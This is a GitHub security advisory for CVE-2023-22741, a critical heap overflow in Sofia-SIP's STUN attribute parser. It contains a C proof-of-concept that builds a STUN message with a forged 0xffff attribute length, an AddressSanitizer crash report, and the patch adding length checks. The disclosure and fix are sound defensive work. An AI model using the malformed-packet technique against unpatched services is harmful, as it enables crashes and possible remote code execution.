Skip to content

heap-over-flow in stun_parse_attribute

Critical
andywolk published GHSA-8599-x7rq-fr54 Jan 19, 2023

Package

sofia-sip (C)

Affected versions

<= 1.13.10

Patched versions

1.13.11

Description

Sofia-SIP lacks both message length and attributes length checks when it handles STUN packets, leading to controllable heap-over-flow. Please view the patch below for more details.

For example, in stun_parse_attribute() [1], after we get the attribute's type and length value [2], the length will be used directly to copy from the heap, regardless of the message's left size:

int stun_parse_attribute(stun_msg_t *msg, unsigned char *p)
{
  int len;
  uint16_t attr_type;
  stun_attr_t *attr, *next;

  attr_type = get16(p, 0); // <-- get from message, controlled by sender, e.g., 0
  len = get16(p, 2);       // <-- get from message, controlled by sender, e.g., 0xffff

  // ......

  switch (attr->attr_type) {
  // ......
  default:
    /* just copy as is */
    attr->pattr = NULL;
    attr->enc_buf.size = len;
    attr->enc_buf.data = (unsigned char *) malloc(len);
    memcpy(attr->enc_buf.data, p, len);  // <-- msg->enc_buf.data - 20 (STUN_HEADER) - 4 (ATTR_HEADER) might be smaller than len, heap-over-flow!
    break;
  }

  // ......
}

[1]

len = get16(p, 2);

[2] https://www.tech-invite.com/y50/tinv-ietf-rfc-5389-3.html#p-31

IMPACT

Since network users control the overflowed length, and the data is written to heap chunks later, attackers may achieve RCE by heap grooming or other exploitation methods.

BISECT

The bug is introduced 16 years ago:
add sofia-sip 1.12.4 (plus some patches through 12/21/2006) to in tree libs
git-svn-id: http://svn.freeswitch.org/svn/freeswitch/trunk@3774 d0543943-73ff-0310-b7d9-9358b9ac24b2

REPRODUCTION

stun_attr_oob_poc.c:

// libsofia-sip-ua/stun/stun_attr_oob_poc.c
// ./autogen.sh && CFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure && make -j8 && cd libsofia-sip-ua/stun/
// gcc -fsanitize=address stun_attr_oob_poc.c  -I ../.. -I ../su  -I ../url/ -I ../sip/ -I ../stun -o stun_attr_oob_poc ../.libs/libsofia-sip-ua.a -lssl -lcrypto
// ./stun_attr_oob_poc

#include "config.h"
#include "stun_internal.h"
#include <assert.h>
#include <string.h>
#include <stdlib.h>

#define STUN_HEADER_SIZE 20
#define STUN_ATTR_TYPE_SIZE 2
#define STUN_ATTR_LEN_SIZE 2
#define STUN_ATTR_VALUE_SIZE 0

int main(void)
{
    const size_t stun_message_size = STUN_HEADER_SIZE + STUN_ATTR_TYPE_SIZE + STUN_ATTR_LEN_SIZE + STUN_ATTR_VALUE_SIZE;
    unsigned char *stun_message = calloc(1, stun_message_size);
    if (stun_message == NULL)
    {
        perror("Failed to allocate stun_message");
        exit(EXIT_FAILURE);
    }
    stun_message[3] = STUN_ATTR_TYPE_SIZE + STUN_ATTR_LEN_SIZE + STUN_ATTR_VALUE_SIZE; // set STUN 
    // stun_message[20][21] attr_type is zero now, not the root cause.
    stun_message[22] = 0xff; stun_message[23] = 0xff; // set Attributes length to MAX 0xffff (STUN_ATTR_VALUE_SIZE is 0 actually)

    stun_msg_t request = {.stun_attr = NULL};
    request.enc_buf.data = stun_message;
    request.enc_buf.size = stun_message_size;

    stun_parse_message(&request); // heap-over-flow

    free(stun_message);
    
    return 0;
}

AddressSanitizer Report:

=================================================================
==11181==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000058 at pc 0x7ff8be6e2397 bp 0x7fff3eab0b90 sp 0x7fff3eab0338
READ of size 65535 at 0x603000000058 thread T0
    #0 0x7ff8be6e2396 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
    #1 0x56196c557412 in stun_parse_attribute (/home/qiuhao/tmp/sofia-sip/libsofia-sip-ua/stun/stun_attr_oob_poc+0x1b412)
    #2 0x56196c556d4d in stun_parse_message (/home/qiuhao/tmp/sofia-sip/libsofia-sip-ua/stun/stun_attr_oob_poc+0x1ad4d)
    #3 0x56196c556752 in main (/home/qiuhao/tmp/sofia-sip/libsofia-sip-ua/stun/stun_attr_oob_poc+0x1a752)
    #4 0x7ff8bdfc3d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #5 0x7ff8bdfc3e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #6 0x56196c5563c4 in _start (/home/qiuhao/tmp/sofia-sip/libsofia-sip-ua/stun/stun_attr_oob_poc+0x1a3c4)

0x603000000058 is located 0 bytes to the right of 24-byte region [0x603000000040,0x603000000058)
allocated by thread T0 here:
    #0 0x7ff8be75ca37 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:154
    #1 0x56196c556540 in main (/home/qiuhao/tmp/sofia-sip/libsofia-sip-ua/stun/stun_attr_oob_poc+0x1a540)
    #2 0x7ff8bdfc3d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy
Shadow bytes around the buggy address:
  0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c067fff8000: fa fa 00 00 00 fa fa fa 00 00 00[fa]fa fa fa fa
  0x0c067fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==11181==ABORTING

SUPPOSED PATCH

From 47ef51ee2512ed9b5e99dbf2a05e0005a60a4e8c Mon Sep 17 00:00:00 2001
From: Qiuhao Li <[email protected]>
Date: Tue, 15 Nov 2022 15:00:23 +0800
Subject: [PATCH] stun: add checks for STUN messag len and attr len

Signed-off-by: Qiuhao Li <[email protected]>
---
 libsofia-sip-ua/stun/sofia-sip/stun_common.h |  2 +-
 libsofia-sip-ua/stun/stun_common.c           | 19 ++++++++++++++++---
 2 files changed, 17 insertions(+), 4 deletions(-)

diff --git a/libsofia-sip-ua/stun/sofia-sip/stun_common.h b/libsofia-sip-ua/stun/sofia-sip/stun_common.h
index 81f0ebd..32971ec 100644
--- a/libsofia-sip-ua/stun/sofia-sip/stun_common.h
+++ b/libsofia-sip-ua/stun/sofia-sip/stun_common.h
@@ -192,7 +192,7 @@ typedef struct stun_attr_unknownattributes_s{
 
 /* Common functions */
 int stun_parse_message(stun_msg_t *msg);
-int stun_parse_attribute(stun_msg_t *msg, unsigned char *p);
+int stun_parse_attribute(stun_msg_t *msg, unsigned char *p, size_t left_len);
 int stun_parse_attr_address(stun_attr_t *attr, const unsigned char *p, unsigned len);
 int stun_parse_attr_error_code(stun_attr_t *attr, const unsigned char *p, unsigned len);
 int stun_parse_attr_unknown_attributes(stun_attr_t *attr, const unsigned char *p, unsigned len);
diff --git a/libsofia-sip-ua/stun/stun_common.c b/libsofia-sip-ua/stun/stun_common.c
index 84e1215..46185f4 100644
--- a/libsofia-sip-ua/stun/stun_common.c
+++ b/libsofia-sip-ua/stun/stun_common.c
@@ -87,6 +87,13 @@ int stun_parse_message(stun_msg_t *msg)
 
   /* parse header first */
   p = msg->enc_buf.data;
+
+  if (get16(p, 2) > (msg->enc_buf.size - 20))
+  {
+    SU_DEBUG_3(("%s: Error STUN Message Length is too big.\n", __func__));
+    return -1;
+  }
+  
   msg->stun_hdr.msg_type = get16(p, 0);
   msg->stun_hdr.msg_len = get16(p, 2);
   memcpy(msg->stun_hdr.tran_id, p + 4, STUN_TID_BYTES);
@@ -98,8 +105,8 @@ int stun_parse_message(stun_msg_t *msg)
   len = msg->stun_hdr.msg_len;
   p = msg->enc_buf.data + 20;
   msg->stun_attr = NULL;
-  while (len > 0) {
-    i = stun_parse_attribute(msg, p);
+  while (len >= 4) {  // Type (2) + Length (2) + Value (variable) min attribute size
+    i = stun_parse_attribute(msg, p, len);
     if (i <= 0 || i > len) {
       SU_DEBUG_3(("%s: Error parsing attribute.\n", __func__));
       return -1;
@@ -111,7 +118,7 @@ int stun_parse_message(stun_msg_t *msg)
   return 0;
 }
 
-int stun_parse_attribute(stun_msg_t *msg, unsigned char *p)
+int stun_parse_attribute(stun_msg_t *msg, unsigned char *p, size_t left_len)
 {
   int len;
   uint16_t attr_type;
@@ -120,6 +127,12 @@ int stun_parse_attribute(stun_msg_t *msg, unsigned char *p)
   attr_type = get16(p, 0);
   len = get16(p, 2);
 
+  if ((left_len - 4) < len) // make sure we have enough space for attribute
+  {
+    SU_DEBUG_3(("%s: Error STUN attr len is too big.\n", __func__));
+    return -1;
+  }
+
   SU_DEBUG_5(("%s: received attribute: Type %02X, Length %d - %s\n",
              __func__, attr_type, len, stun_attr_phrase(attr_type)));
 
-- 
2.34.1

This patch has been merged in #182.

CREDIT

Qiuhao Li of Zoom Video Communications, Inc.

Severity

Critical

CVE ID

CVE-2023-22741

Weaknesses

Credits